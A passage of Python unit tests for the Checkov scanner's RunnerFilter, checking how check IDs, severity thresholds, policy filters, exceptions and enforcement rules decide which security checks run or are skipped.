RunnerFilter(checks=['BC_AWS_45'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.bc_id = 'BC_AWS_45'\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_should_run_check_bc_id_omitted(self):\n        instance = RunnerFilter(checks=['BC_AWS_99'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.bc_id = 'BC_AWS_45'\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_skip_check_id(self):\n        instance = RunnerFilter(skip_checks=['CKV_AWS_45'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_skip_check_id_omitted(self):\n        instance = RunnerFilter(skip_checks=['CKV_AWS_99'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_should_skip_check_bc_id(self):\n        instance = RunnerFilter(skip_checks=['BC_AWS_45'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.bc_id = 'BC_AWS_45'\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_skip_check_bc_id_omitted(self):\n        instance = RunnerFilter(skip_checks=['BC_AWS_99'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.bc_id = 'BC_AWS_45'\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_should_run_check_severity(self):\n        instance = RunnerFilter(checks=['LOW'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.severity = Severities[BcSeverities.LOW]\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_should_run_check_severity_omitted(self):\n        instance = RunnerFilter(checks=['HIGH'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.severity = Severities[BcSeverities.LOW]\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_run_check_severity_implicit(self):\n        instance = RunnerFilter(checks=['LOW'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.severity = Severities[BcSeverities.HIGH]\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_should_skip_check_severity(self):\n        instance = RunnerFilter(skip_checks=['LOW'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.severity = Severities[BcSeverities.LOW]\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_skip_check_severity_implicit(self):\n        instance = RunnerFilter(skip_checks=['HIGH'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.severity = Severities[BcSeverities.LOW]\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_skip_check_severity_threshold_exceeded(self):\n        instance = RunnerFilter(skip_checks=['LOW'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        check.severity = Severities[BcSeverities.HIGH]\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_check_severity_split_no_sev(self):\n        instance = RunnerFilter(checks=['XYZ'])\n        self.assertIsNone(instance.check_threshold)\n        self.assertEqual(instance.checks, ['XYZ'])\n\n    def test_check_severity_split_skip_no_sev(self):\n        instance = RunnerFilter(skip_checks=['XYZ'])\n        self.assertIsNone(instance.skip_check_threshold)\n        self.assertEqual(instance.skip_checks, ['XYZ'])\n\n    def test_check_severity_split_one_sev(self):\n        instance = RunnerFilter(checks=['MEDIUM'])\n        self.assertEqual(instance.check_threshold, Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.checks, [])\n\n    def test_check_severity_split_two_sev(self):\n        instance = RunnerFilter(checks=['MEDIUM', 'LOW'])\n        # should take the lowest severity\n        self.assertEqual(instance.check_threshold, Severities[BcSeverities.LOW])\n        self.assertEqual(instance.checks, [])\n\n    def test_check_severity_split_two_sev_lowercase(self):\n        instance = RunnerFilter(checks=['MEDIUM', 'low'])\n        # should take the lowest severity\n        self.assertEqual(instance.check_threshold, Severities[BcSeverities.LOW])\n        self.assertEqual(instance.checks, [])\n\n    def test_check_severity_split_skip_one_sev(self):\n        instance = RunnerFilter(skip_checks=['MEDIUM'])\n        self.assertEqual(instance.skip_check_threshold, Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.skip_checks, [])\n\n    def test_check_severity_split_skip_two_sev(self):\n        instance = RunnerFilter(skip_checks=['LOW', 'MEDIUM'])\n        # should take the highest severity\n        self.assertEqual(instance.skip_check_threshold, Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.skip_checks, [])\n\n    def test_check_severity_split_skip_two_sev_lowercase(self):\n        instance = RunnerFilter(skip_checks=['LOW', 'medium'])\n        # should take the highest severity\n        self.assertEqual(instance.skip_check_threshold, Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.skip_checks, [])\n\n    def test_run_sev_id_1(self):\n        instance = RunnerFilter(checks=['HIGH'], skip_checks=['CKV_AWS_123'])\n        # run all high and above, but skip this one ID regardless of severity\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.CRITICAL]))\n\n    def test_run_sev_no_check_sev(self):\n        instance = RunnerFilter(checks=['HIGH'])\n        # if a check severity is used, skip any check without it\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_run_sev_no_check_sev_with_id(self):\n        instance = RunnerFilter(checks=['HIGH', 'CKV_AWS_789'])\n        # if a check severity is used, skip any check without it\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_skip_sev_no_check_sev(self):\n        instance = RunnerFilter(skip_checks=['HIGH'])\n        # if a skip check severity is used, run any check without it\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_skip_sev_no_check_sev_with_id(self):\n        instance = RunnerFilter(skip_checks=['HIGH', 'CKV_AWS_789'])\n        # if a skip check severity is used, run any check without it\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_run_sev_id_2(self):\n        instance = RunnerFilter(checks=['CKV_AWS_123'], skip_checks=['MEDIUM'])\n        # Run AWS_123, unless it is MEDIUM or below\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.CRITICAL]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW]))\n\n    def test_run_two_sev_1(self):\n        instance = RunnerFilter(checks=['MEDIUM'], skip_checks=['HIGH'])\n        # run medium and higher, skip high and lower; skip takes priority\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM]))\n\n    def test_run_two_sev_2(self):\n        instance = RunnerFilter(checks=['HIGH'], skip_checks=['MEDIUM'])\n        # run HIGH and higher, skip MEDIUM and lower (so just run HIGH or higher)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM]))\n\n    def test_run_sev_explicit(self):\n        instance = RunnerFilter(checks=['MEDIUM', 'CKV_AWS_789'])\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH]))\n\n    def test_skip_sev_explicit(self):\n        instance = RunnerFilter(skip_checks=['MEDIUM', 'CKV_AWS_789'])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW]))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH]))\n\n    def test_within_threshold(self):\n        instance = RunnerFilter(checks=['LOW'])\n        self.assertTrue(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertTrue(instance.within_threshold(Severities[BcSeverities.MEDIUM]))\n\n        instance = RunnerFilter(checks=['HIGH'])\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM]))\n\n        instance = RunnerFilter(skip_checks=['HIGH'])\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM]))\n\n        instance = RunnerFilter(skip_checks=['LOW'])\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertTrue(instance.within_threshold(Severities[BcSeverities.MEDIUM]))\n\n        instance = RunnerFilter(checks=['HIGH'], skip_checks=['LOW'])\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM]))\n        self.assertTrue(instance.within_threshold(Severities[BcSeverities.HIGH]))\n\n    def test_within_threshold_special_severities(self):\n        instance = RunnerFilter(skip_checks=['MEDIUM'])\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.MODERATE]))\n        self.assertTrue(instance.within_threshold(Severities[BcSeverities.HIGH]))\n        instance = RunnerFilter(skip_checks=['HIGH'])\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW]))\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM]))\n        self.assertFalse(instance.within_threshold(Severities[BcSeverities.IMPORTANT]))\n        self.assertTrue(instance.within_threshold(Severities[BcSeverities.CRITICAL]))\n\n    def test_include_local_skip_local(self):\n        instance = RunnerFilter(include_all_checkov_policies=False)\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_include_local_run_local(self):\n        instance = RunnerFilter(include_all_checkov_policies=True)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_include_local_skip_platform(self):\n        instance = RunnerFilter(include_all_checkov_policies=False)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', bc_check_id='BC_AWS_789'))\n\n    def test_include_local_run_platform(self):\n        instance = RunnerFilter(include_all_checkov_policies=True)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', bc_check_id='BC_AWS_789'))\n\n    def test_include_local_skip_custom(self):\n        instance = RunnerFilter(include_all_checkov_policies=False)\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertTrue(instance.should_run_check(check_id='EXT_CHECK_999'))\n\n    def test_include_local_run_custom(self):\n        instance = RunnerFilter(include_all_checkov_policies=True)\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertTrue(instance.should_run_check(check_id='EXT_CHECK_999'))\n\n    def test_include_local_skip_local_explicit_run(self):\n        instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_include_local_skip_local_implicit_run(self):\n        instance = RunnerFilter(skip_checks=['CKV_AWS_123'], include_all_checkov_policies=False)\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_include_local_skip_local_severity(self):\n        # this case should not actually be possible (no severities if not a platform check), but testing the logic anyways\n        instance = RunnerFilter(checks=['HIGH'], include_all_checkov_policies=False)\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n\n    def test_should_run_only_filtered_policies(self):\n        instance = RunnerFilter(checks=['HIGH'], include_all_checkov_policies=False,\n                                filtered_policy_ids=[\"NOT_CKV_AWS_789\"])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH]))\n\n    def test_should_skip_explicit_run_if_not_filtered(self):\n        instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_policy_ids=[\"NOT_CKV_AWS_789\"])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_skip_filtered_policy(self):\n        instance = RunnerFilter(skip_checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_policy_ids=[\"CKV_AWS_789\"])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_run_if_no_filtered_policies(self):\n        instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_policy_ids=[])\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_skip_explicit_run_if_policy_exception(self):\n        instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_exception_policy_ids=['CKV_AWS_789'])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_skip_policy_exception(self):\n        instance = RunnerFilter(skip_checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_exception_policy_ids=[\"CKV_AWS_789\"])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_run_if_no_policy_exceptions(self):\n        instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_exception_policy_ids=[])\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_skip_if_filtered_policy_is_also_policy_exception(self):\n        instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False,\n                                filtered_policy_ids=['CKV_AWS_789'], filtered_exception_policy_ids=['CKV_AWS_789'])\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789'))\n\n    def test_should_run_check_enforcement_rules(self):\n        instance = RunnerFilter(include_all_checkov_policies=True,\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n             CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH],Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_explicit_checks(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, checks=['CKV_AWS_789'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # hardcoded check IDs always run (if not removed by --skip-check)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        # these run based on severity\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_explicit_skip_checks(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, skip_checks=['CKV_AWS_789'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # the logic is to merge the skip check with the enforcement rule setting, if all the skip-checks are IDs (not severities)\n        # so we always skip 789, and run 123 based on the severity\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_skip_severity(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, skip_checks=['MEDIUM'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # the skip_check severity value just totally overrides the enforcement rule\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_run_severity(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, checks=['MEDIUM'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # use of --check with a severity overrides the enforcement rule (so just run all MEDIUM+)\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_run_and_skip_id(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, checks=['CKV_AWS_123'], skip_checks=['CKV_AWS_789'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # run / skip based on ID lists\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n        # anything else is based on enforcement rule severity\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.MEDIUM], 